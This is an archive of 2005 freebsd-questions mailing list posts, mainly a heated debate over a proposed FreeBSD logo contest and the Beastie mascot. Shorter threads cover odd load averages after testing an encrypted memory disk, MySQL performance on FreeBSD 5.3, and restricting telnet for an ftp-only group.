> > FreeBSD community members are not graphic artists and couldn't draw > > their way out of a paper bag ... >=20 > That's why I figured I'd try my hand at it; see >=20 > http://perso.wanadoo.fr/anthony.atkielski/FreeBSDLogo1.jpg I'm afraid I don't care for it. The heart is a bit hokey, and, as already mentioned by Ted, if you ditch that and make an honest to goodness daemon tail, it'll stand half a chance to be adopted in some degree by the community. > It meets the technical criteria for a logo; the aesthetic aspect is an > open question. Those technical criteria were NOT drawn out in community fashion. They forgot one very important thing: The logo must be historically significant. That bit about not offending anyone is bullshit plain and simple. I for one think this whole PC movement is bull. Don't get me wrong, I'm all for peoples right to live their lives, but the PC movement should have died exactly two days after it started. > This logo concept uses ITC Garamond Bold (traditionally associated with > FreeBSD and the BSDs generally) as the typeface for the logotype, thus > retaining a link with prior generations of BSD (and showing kinship with > other versions of BSD, such as NetBSD). I've adjusted the spacing of the > logotype to tighten up the characters a bit. Doesn't someone else own that font? > The squared oval surrounding the logotype represents continuous > operation. The figure at the lower right is both a heart (representing > the fondness that FreeBSD users have for the operating system) and, in > conjunction with the oval, a symbolic pointed tail--an indirect > reference to the original Beastie. The gold color for the oval > represents reliability; the red color of the rest of logo again is an > indirect reference to the original (red) Beastie. >=20 > The simplicity of the logo makes it inexpensive to print on paper (it > can be printed monochrome or with simple two-color offset, or with > process offset). There are no complex halftones or shadings or fine > details that might be difficult to print or might become muddy or fuzzy > when resizing the logo for display. >=20 > The spot colors used are Pantone 144 CVU (gold) and Pantone 187 CVU > (red). These can be easily converted to CMYK, RGB, grayscale, etc., as > required. >=20 > > However I decided that I would be willing to take the financial impact > > on a personal basis of losing a few sales to people who are so blinded > > by their idea of religion that they wouldn't touch a book with an > > image of a devil on the cover - because the FreeBSD devil image has a > > historical significance to FreeBSD that is important. >=20 > Actually, I think the devil aspect has little impact on public > perception of FreeBSD. It's having a cute little cartoon mascot in > sneakers that has the real impact--it implies that FreeBSD is a toy for > kids, not a serious product for professionals and corporations. A more > serious image of Beastie should be considered for these venues. And in > any case, this mascot is distinct from a logo. The image used on your > book is not a logo. And this is still wrong. As mentioned at least one million times on this very list in the years I've been here, it's NOT a devil. It's a daemon. Now the fundies have the FreeBSD community using the wrong word. And for the record, those sneakers don't mean anything like a toy. They are for speed. Isn't that the focus of the FreeBSD project? NetBSD is supposed to run on anything, OpenBSD is supposed to be secure, FreeBSD is supposed to be as fast as possible. If you can find something that is still historically significant, doesn't use text (as mentioned by Ted, text logos are BORING) and still manages to appeal to the current FreeBSD community, then good for you. Maybe it will happen. Nonetheless, I agree with Ted. This should have started in the open, not in the background. Most of the FreeBSD community are NOT graphic artists, so this contest is just a sham to make us *think* we're part of the process. I have only one reason to keep Beastie that has anything to do with the fact that I just plain like him. And that's the reason. I just plain like Beastie. I have *lots* of reasons I think Beastie should stay that have nothing whatsoever to do with that fact. I'm sure I'm not the only one. If those reasons weren't political and sociological in nature, and therefore probably a little too far OT, I'd voice them here in a heartbeat. I am refraining, but I'll certainly keep voicing my opposition. Lou --=20 Louis LeBlanc FreeBSD-at-keyslapper-DOT-net Fully Funded Hobbyist, KeySlapper Extrordinaire :) Please send off-list email to: leblanc at keyslapper d.t net Key fingerprint =3D C5E7 4762 F071 CE3B ED51 4FB8 AF85 A2FE 80C8 D9A2 It is impossible to travel faster than light, and certainly not desirable, as one's hat keeps blowing off. -- Woody Allen --6sX45UoQRIJXqkqR Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCC4TEr4Wi/oDI2aIRAh7LAJ4hwn92ldr2ubZkl3zw20V27KD9XQCgk/O4 iTQJ1y7gZaGXR0LJurLFOGg= =R3IH -----END PGP SIGNATURE----- --6sX45UoQRIJXqkqR-- From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 16:22:00 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EEAC516A4CE for ; Thu, 10 Feb 2005 16:22:00 +0000 (GMT) Received: from out011.verizon.net (out011pub.verizon.net [206.46.170.135]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5AAEC43D31 for ; Thu, 10 Feb 2005 16:22:00 +0000 (GMT) (envelope-from leblanc@keyslapper.org) Received: from keyslapper.org ([68.163.189.143]) by out011.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050210162159.ETPP28171.out011.verizon.net@keyslapper.org> for ; Thu, 10 Feb 2005 10:21:59 -0600 Received: from localhost (localhost [127.0.0.1]) by keyslapper.org (Postfix) with ESMTP id 8938B11E41 for ; Thu, 10 Feb 2005 11:21:58 -0500 (EST) Received: from keyslapper.org ([127.0.0.1]) by localhost (keyslapper.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 93533-06 for ; Thu, 10 Feb 2005 11:21:50 -0500 (EST) Received: by keyslapper.org (Postfix, from userid 1001) id D07FD11E3A; Thu, 10 Feb 2005 11:21:50 -0500 (EST) Date: Thu, 10 Feb 2005 11:21:50 -0500 From: Louis LeBlanc To: freebsd-questions@freebsd.org Message-ID: <20050210162150.GE89175@keyslapper.net> Mail-Followup-To: freebsd-questions@freebsd.org References: <200502092223.01650.algould@datawok.com> <1905317067.20050210103050@wanadoo.fr> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="yLVHuoLXiP9kZBkt" Content-Disposition: inline In-Reply-To: X-PGP-Key: http://www.keyslapper.net/~leblanc/leblanc-at-keyslapper-net.asc User-Agent: Mutt/1.5.7i X-Virus-Scanned: amavisd-new at keyslapper.net X-Authentication-Info: Submitted using SMTP AUTH at out011.verizon.net from [68.163.189.143] at Thu, 10 Feb 2005 10:21:59 -0600 Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 16:22:01 -0000 --yLVHuoLXiP9kZBkt Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On 02/10/05 08:03 AM, Eric Kjeldergaard sat at the `puter and typed: > Anthony Atkielski writes: > > Ted Mittelstaedt writes: > >=20 > > > And, I am also concerned about the historical revisionists who > > > are claiming FreeBSD never had a logo. That is hogwash. > >=20 > > Where can I see the logo? > >=20 > > > Nobody ever said that FreeBSD lacked a logo until after a few days ago > > > when this ill-conceived competition was leaked - because everyone knew > > > the logo was Beastie. > >=20 > > That's not a logo. Just about every image I've seen of Beastie has been > > different, so it's not a logo, it's a character associated with the > > brand (like Mickey Mouse). Logos are simple and instantly recognizable; > > they do not mutate from one presentation to the next. Most open-source > > projects don't have logos; even Linux lacks a proper logo (one could > > probably be made from the popular penguin character, but I haven't seen > > any examples). > >=20 >=20 > Okay, I figured I just as well join in...seems like a good idea. I'm > choosing this email to respond to: randomly selected from a relatively > large number of messages expressing this same idea. >=20 > The logo can be seen on the website www.freeBSD.org. it is in fact a > relatively (from a printing perspective) high-resolution image of our > daemon, holding a pitchfork on his left side. He is slightly facing > forward, though looks off somewhat to the right. I know, "He's a > mascot, not a daemon"...but that's not entirely true (not true at > all?). dictionary.com says that a logo is a >=20 > A name, symbol, or trademark designed for easy and definite > recognition, especially one borne on a single printing plate or piece > of type. >=20 > or a=20 >=20 > n : a company emblem or device >=20 > These are definitely vague enough to not disqualify an image of our > daemon on technical merit. Further, FreeBSD proper calls the daemon > image our logo (see logo_saver.ko). Before I read another of these > stating that beastie is not a logo, I thought I should voice the fact > (not my opinion, mind you) that we do indeed have a logo, albeit one > that could use some modification to ease reproduction. (The latter > part being opinion) There are a couple other images labeled as logos on the FreeBSD site: http://www.freebsd.org/gifs/littlelogo.gif http://www.freebsd.org/gifs/powerlogo.gif Plus the fact that anyone who is even remotely familiar with FreeBSDs existence would immediately associate Beastie with FreeBSD. Yeah, maybe that is considered a mascot, but nothing I've seen supports the idea that the mascot can't be part of the logo. Lou --=20 Louis LeBlanc FreeBSD-at-keyslapper-DOT-net Fully Funded Hobbyist, KeySlapper Extrordinaire :) Please send off-list email to: leblanc at keyslapper d.t net Key fingerprint =3D C5E7 4762 F071 CE3B ED51 4FB8 AF85 A2FE 80C8 D9A2 All life evolves by the differential survival of replicating entities. -- Dawkins --yLVHuoLXiP9kZBkt Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCC4oer4Wi/oDI2aIRAtbMAJ941rG5t9txNzdvZGcuLKQgBBwFXwCfQPAV +j4greGPxUjn7NGew0jMOT8= =p8Db -----END PGP SIGNATURE----- --yLVHuoLXiP9kZBkt-- From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 16:31:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EA71416A4CE for ; Thu, 10 Feb 2005 16:31:40 +0000 (GMT) Received: from top.daemonsecurity.com (FW-182-254.go.retevision.es [62.174.254.182]) by mx1.FreeBSD.org (Postfix) with ESMTP id D5FBB43D2F for ; Thu, 10 Feb 2005 16:31:39 +0000 (GMT) (envelope-from norgaard@locolomo.org) Received: from [IPv6???1] (localhost.daemonsecurity.com [127.0.0.1]) by top.daemonsecurity.com (Postfix) with ESMTP id C52D3FD068 for ; Thu, 10 Feb 2005 17:31:36 +0100 (CET) Message-ID: <420B8C61.3060905@locolomo.org> Date: Thu, 10 Feb 2005 17:31:29 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050127 X-Accept-Language: en, en-us, da, it, es MIME-Version: 1.0 To: FreeBSD Questions Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: load average gone boink X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 16:31:41 -0000 I did an experiment on my 5.3-STABLE, I recompiled the kernel to support geom_bde crypto file system. Then followed the handbook http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/disks-encrypting.html except that I didn't have a separate partition, so I created a memory file system and succesfully attached and mounted that. So I wanted to see if the "disk" was actually encrypted with less on the file. No clue, just ^@. Ok, then I saw the uptime, and it has never been higher. I thought maybe some operation was pending and unmounted and detached the memory disk. But since then I get this output: 5:21pm up 1:27, 1 user, load averages: 6.70, 604.19, 947.57 5:21pm up 1:27, 1 user, load averages: 648.43, 515.02, 914.09 5:22pm up 1:28, 1 user, load averages: 825.09, 309.29, 460.63 5:22pm up 1:29, 1 user, load averages: 368.88, 223.28, 429.38 5:22pm up 1:29, 1 user, load averages: 972.71, 138.59, 398.28 5:22pm up 1:29, 1 user, load averages: 503.40, 55.14, 367.31 I rebooted, no more playing with encrypted file systems, yet I get: 5:28pm up 50 secs, 1 user, load averages: 796.30, 990.13, 1011.98 5:29pm up 55 secs, 1 user, load averages: 732.21, 973.63, 1006.03 5:29pm up 58 secs, 1 user, load averages: 673.26, 957.40, 1000.11 Usually I have load average of 0.01 or so. Any explanation on this? Thanks, Erik -- Ph: +34.666334818 web: http://www.locolomo.org S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt Subject ID: A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9 Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2 From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 16:34:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 420D816A4CE for ; Thu, 10 Feb 2005 16:34:42 +0000 (GMT) Received: from top.daemonsecurity.com (FW-182-254.go.retevision.es [62.174.254.182]) by mx1.FreeBSD.org (Postfix) with ESMTP id C197143D31 for ; Thu, 10 Feb 2005 16:34:41 +0000 (GMT) (envelope-from norgaard@locolomo.org) Received: from [IPv6???1] (localhost.daemonsecurity.com [127.0.0.1]) by top.daemonsecurity.com (Postfix) with ESMTP id D3851FD068; Thu, 10 Feb 2005 17:34:39 +0100 (CET) Message-ID: <420B8D1E.8080107@locolomo.org> Date: Thu, 10 Feb 2005 17:34:38 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050127 X-Accept-Language: en, en-us, da, it, es MIME-Version: 1.0 To: Erik Norgaard References: <420B8C61.3060905@locolomo.org> In-Reply-To: <420B8C61.3060905@locolomo.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: FreeBSD Questions Subject: Re: load average gone boink X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 16:34:42 -0000 Just to add some detail, from top: last pid: 749; load averages: 240.76, 395.77, 739.40 up 0+00:05:34 17:33:12 72 processes: 1 running, 71 sleeping CPU states: 0.4% user, 0.0% nice, 0.8% system, 0.0% interrupt, 98.8% idle Mem: 58M Active, 34M Inact, 43M Wired, 44K Cache, 33M Buf, 92M Free Swap: 512M Total, 512M Free PID USERNAME PRI NICE SIZE RES STATE TIME WCPU CPU COMMAND 601 mysql 20 0 57680K 25084K kserel 0:01 0.00% 0.00% mysqld 279 bind 20 0 6092K 5004K kserel 0:01 0.00% 0.00% named 517 root 96 0 13132K 9964K select 0:01 0.00% 0.00% httpd 725 postfix 96 0 6668K 4432K select 0:00 0.00% 0.00% smtpd 524 cyrus 96 0 6540K 3812K select 0:00 0.00% 0.00% master -- Ph: +34.666334818 web: http://www.locolomo.org S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt Subject ID: A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9 Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2 From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 16:36:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A1C7816A4CE for ; Thu, 10 Feb 2005 16:36:40 +0000 (GMT) Received: from out003.verizon.net (out003pub.verizon.net [206.46.170.103]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2528643D2F for ; Thu, 10 Feb 2005 16:36:40 +0000 (GMT) (envelope-from leblanc@keyslapper.org) Received: from keyslapper.org ([68.163.189.143]) by out003.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050210163639.VZPT7729.out003.verizon.net@keyslapper.org> for ; Thu, 10 Feb 2005 10:36:39 -0600 Received: from localhost (localhost [127.0.0.1]) by keyslapper.org (Postfix) with ESMTP id B1BC011E3A for ; Thu, 10 Feb 2005 11:36:38 -0500 (EST) Received: from keyslapper.org ([127.0.0.1]) by localhost (keyslapper.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 93533-10 for ; Thu, 10 Feb 2005 11:36:31 -0500 (EST) Received: by keyslapper.org (Postfix, from userid 1001) id 2512411E11; Thu, 10 Feb 2005 11:36:31 -0500 (EST) Date: Thu, 10 Feb 2005 11:36:31 -0500 From: Louis LeBlanc To: freebsd-questions@freebsd.org Message-ID: <20050210163630.GF89175@keyslapper.net> Mail-Followup-To: freebsd-questions@freebsd.org References: <200502091349.00708.algould@datawok.com> <200502092210.39490.algould@datawok.com> <1054192109.20050210101652@wanadoo.fr> <420B6081.30206@pacific.net.sg> <1108044195.5517.74.camel@localhost.localdomain> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="SO98HVl1bnMOfKZd" Content-Disposition: inline In-Reply-To: <1108044195.5517.74.camel@localhost.localdomain> X-PGP-Key: http://www.keyslapper.net/~leblanc/leblanc-at-keyslapper-net.asc User-Agent: Mutt/1.5.7i X-Virus-Scanned: amavisd-new at keyslapper.net X-Authentication-Info: Submitted using SMTP AUTH at out003.verizon.net from [68.163.189.143] at Thu, 10 Feb 2005 10:36:39 -0600 Subject: Re: Logo Contest X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 16:36:40 -0000 --SO98HVl1bnMOfKZd Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On 02/10/05 03:03 PM, Devon H. O'Dell sat at the `puter and typed: > [In reply to the huge number of misguided messages that have been > rolling into my Inbox through last night and all of today.] >=20 > I don't understand why you people are still battling on the subject. > Some less-than-smart person has also started up an online petition which > has gotten tons of people who DO NOT understand the situation to sign > said petition. >=20 > First: this is about PRINTING. What happens when you print any of the > currently available FreeBSD logos? I'll tell you. No, I don't think this is about printing. The leaked document in its initial form mentioned *replacing* the FreeBSD daemon. No mention of cleaning it up was made. It even included a bunch of guidelines for contest entries, including: * The logo must not exploit or offend a person's sex, race, religion, morality, culture , nor be salacious or pornographic. Now, if you look at the URL that was originally leaked, http://logo-contest.freebsd.org/announce.txt You'll find something more carefully worded: This is the future site for the FreeBSD logo competiton which is meant to create a new logo for the FreeBSD Project to supplement the current Beastie mascot. Despite an early draft announcement that got out we are not quite ready for the logos yet. Please watch this space and the freebsd-announce mailing list for more information in the near future. http://logo-contest.freebsd.org/ This is looking like one of two things at this point: A bait and switch, meaning it is nothing more than an attempt to make those opposed to replacing Beastie feel like they're involved, while those with the ability to make the final decision choose something not including Beastie, or they realized that the whole idea was a bad one to start. I can almost guarantee that if this was for nothing more than a printing cleanup, none of this hype would be happening. Besides, the FreeBSD Mall doesn't seem to have much trouble printing up *their* T-shirts. Lou --=20 Louis LeBlanc FreeBSD-at-keyslapper-DOT-net Fully Funded Hobbyist, KeySlapper Extrordinaire :) Please send off-list email to: leblanc at keyslapper d.t net Key fingerprint =3D C5E7 4762 F071 CE3B ED51 4FB8 AF85 A2FE 80C8 D9A2 Burbulation: The obsessive act of opening and closing a refrigerator door in an attempt to catch it before the automatic light comes on. -- "Sniglets", Rich Hall & Friends --SO98HVl1bnMOfKZd Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCC42Or4Wi/oDI2aIRAqSZAJ409ff9ey/7OCpE9/ehSX75hDZ+DACcDjwc lucJPiR6m/56mzeo9rOxOIQ= =cTU3 -----END PGP SIGNATURE----- --SO98HVl1bnMOfKZd-- From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 16:42:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2A66416A502; Thu, 10 Feb 2005 16:42:27 +0000 (GMT) Received: from shrike.submonkey.net (cpc4-cdif3-6-1-cust116.cdif.cable.ntl.com [82.23.41.116]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7E37E43D1F; Thu, 10 Feb 2005 16:42:26 +0000 (GMT) (envelope-from setantae@submonkey.net) Received: from setantae by shrike.submonkey.net with local (Exim 4.44 (FreeBSD)) id 1CzHOa-000ANz-0V; Thu, 10 Feb 2005 16:42:24 +0000 Date: Thu, 10 Feb 2005 16:42:23 +0000 From: Ceri Davies To: Matt Olander Message-ID: <20050210164223.GK18759@submonkey.net> Mail-Followup-To: Ceri Davies , Matt Olander , freebsd-questions@freebsd.org, freebsd-advocacy@freebsd.org References: <20050209162202.I31921@knight.ixsystems.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="2MC+DK0smzICZJ/6" Content-Disposition: inline In-Reply-To: <20050209162202.I31921@knight.ixsystems.net> X-PGP: finger ceri@FreeBSD.org User-Agent: Mutt/1.5.7i Sender: Ceri Davies cc: freebsd-advocacy@freebsd.org cc: freebsd-questions@freebsd.org Subject: Re: FreeBSD 5.3 MySQL Performance X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 16:42:27 -0000 --2MC+DK0smzICZJ/6 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Feb 09, 2005 at 04:22:02PM -0800, Matt Olander wrote: > hey gang, >=20 > We've got a customer that is considering a network expansion while moving > from Linux to FreeBSD. >=20 > They are big users of MySQL and have been running it on Linux. >=20 > Most of the information that I've found is a bit old, but I guess my > question is if LinuxThreads should still be used or if MySQL works well > under FreeBSD using native threads. >=20 > The customer has looked at Jeremy's blog article on this issue, but this = is > pretty old: > http://jeremy.zawodny.com/blog/archives/000697.html >=20 > Also, does anybody have any FreeBSD 5.3/MySQL benchmarks? I searched the > mailing lists but didn't turn up anything. Hot off the press: http://software.newsforge.com/article.pl?sid=3D04/12/27/1243207&from=3Drss Ceri --=20 Only two things are infinite, the universe and human stupidity, and I'm not sure about the former. -- Einstein (attrib.) --2MC+DK0smzICZJ/6 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCC47vocfcwTS3JF8RAlD0AJ4lAN0TQ79aVx0RXClnkaGarUwm2QCfbnIg Lv7hh+9d+wvwdZ+1WXZmT7U= =oYZ9 -----END PGP SIGNATURE----- --2MC+DK0smzICZJ/6-- From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 17:08:52 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5FB3216A4CE for ; Thu, 10 Feb 2005 17:08:52 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.203]) by mx1.FreeBSD.org (Postfix) with ESMTP id EC64B43D53 for ; Thu, 10 Feb 2005 17:08:51 +0000 (GMT) (envelope-from dominique.goncalves@gmail.com) Received: by wproxy.gmail.com with SMTP id 69so149755wra for ; Thu, 10 Feb 2005 09:08:51 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=FEAsMZixx53i8kSSlF4vu8HIYtpn678WruDH5HXERqtx45GLw0M5S3mz1ftgRTm12cOGvso9DOXjh4Nl7nVoJrWTC+YwDJHCWHbjHkeq7hph5pqh6YNOdCUhZg0j9iiF9rs/y+XmsxJsGIfvdYuudx2QSuR+QXGLNmvwRdmPJU0= Received: by 10.54.41.55 with SMTP id o55mr72715wro; Thu, 10 Feb 2005 09:02:11 -0800 (PST) Received: by 10.54.50.64 with HTTP; Thu, 10 Feb 2005 09:02:11 -0800 (PST) Message-ID: <7daacbbe050210090222753678@mail.gmail.com> Date: Thu, 10 Feb 2005 18:02:11 +0100 From: Dominique Goncalves To: Erik Norgaard In-Reply-To: <420B8D1E.8080107@locolomo.org> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <420B8C61.3060905@locolomo.org> <420B8D1E.8080107@locolomo.org> cc: FreeBSD Questions Subject: Re: load average gone boink X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Dominique Goncalves List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 17:08:52 -0000 Hello, http://lists.freebsd.org/pipermail/freebsd-stable/2005-February/011693.html Regards. On Thu, 10 Feb 2005 17:34:38 +0100, Erik Norgaard wrote: > Just to add some detail, from top: > > last pid: 749; load averages: 240.76, 395.77, 739.40 up 0+00:05:34 > 17:33:12 > 72 processes: 1 running, 71 sleeping > CPU states: 0.4% user, 0.0% nice, 0.8% system, 0.0% interrupt, 98.8% > idle > Mem: 58M Active, 34M Inact, 43M Wired, 44K Cache, 33M Buf, 92M Free > Swap: 512M Total, 512M Free > > PID USERNAME PRI NICE SIZE RES STATE TIME WCPU CPU COMMAND > 601 mysql 20 0 57680K 25084K kserel 0:01 0.00% 0.00% mysqld > 279 bind 20 0 6092K 5004K kserel 0:01 0.00% 0.00% named > 517 root 96 0 13132K 9964K select 0:01 0.00% 0.00% httpd > 725 postfix 96 0 6668K 4432K select 0:00 0.00% 0.00% smtpd > 524 cyrus 96 0 6540K 3812K select 0:00 0.00% 0.00% master > > > -- > Ph: +34.666334818 web: http://www.locolomo.org > S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt > Subject ID: A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9 > Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2 > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > -- There's this old saying: "Give a man a fish, feed him for a day. Teach a man to fish, feed him for life." From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 17:36:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 70AE616A4CE for ; Thu, 10 Feb 2005 17:36:45 +0000 (GMT) Received: from xmail.cityofpaloalto.org (cerberus.city.palo-alto.ca.us [199.33.32.254]) by mx1.FreeBSD.org (Postfix) with ESMTP id 37F4943D5C for ; Thu, 10 Feb 2005 17:36:44 +0000 (GMT) (envelope-from Viraj.Dixit@CityofPaloAlto.org) Received: from cc-mail.cityofpaloalto.org ([172.17.1.1]) by xmail.cityofpaloalto.org with Microsoft SMTPSVC(6.0.3790.211); Thu, 10 Feb 2005 09:36:44 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Thu, 10 Feb 2005 09:36:40 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: freebsd-questions Digest, Vol 88, Issue 19 thread-index: AcUPjos3y7uNPLnpSJOTDUoxADB+WgACEoMQ From: "Dixit, Viraj" To: X-OriginalArrivalTime: 10 Feb 2005 17:36:44.0897 (UTC) FILETIME=[16EBFD10:01C50F97] Subject: RE: Telnet and FTP issues on 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 17:36:45 -0000 Hi, I have been searching for few days everywhere an answer to this = question. Is there a way to stop telnet access for a group let's say = ftponly but allow them to have FTP access in FreeBSD 5.3. I know this = works in my old system BSD OS 4.3. The commands are like this in = login.conf file in BSD OS 4.3. #restrict telnet for ftponly group only ftponly:\ :auth-network=3Dreject:\ :auth-ftp=3Dpasswd: Thanks VJ From owner-freebsd-questions@FreeBSD.ORG Thu Feb 10 17:37:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BEDC916A4CE for ; Thu, 10 Feb 2005 17:37:04 +0000 (GMT) Received: from outmx005.isp.belgacom.be (outmx005.isp.belgacom.be [195.238.2.102]) by mx1.FreeBSD.org (Postfix) with ESMTP id 23B7A43D2F for ; Thu, 10 Feb 2005 17:37:04 +0000 (GMT) (envelope-from hexadecime@yahoo.fr) Received: from outmx005.isp.belgacom.be (localhost [127.0.0.1]) with ESMTP id j1AHataH022657 for ; Thu, 10 Feb 2005 18:36:55 +0100 (envelope-from ) Received: from [127.0.0.1] (238.173-201-80.adsl.skynet.be [80.201.173.238]) with ESMTP id j1AHalZ7022580 for ; Thu, 10 Feb 2005 18:36:48 +0100 (envelope-from ) Message-ID: <420B9BA2.8070703@yahoo.fr> Date: Thu, 10 Feb 2005 18:36:34 +0100 From: HuGo Herter User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: fr, en MIME-Version: 1.0 To: freebsd-questions@FreeBSD.org X-Enigmail-Version: 0.90.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: KDM doesn't launch any WindowManager X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 10 Feb 2005 17:37:04 -0000 Hello, I've 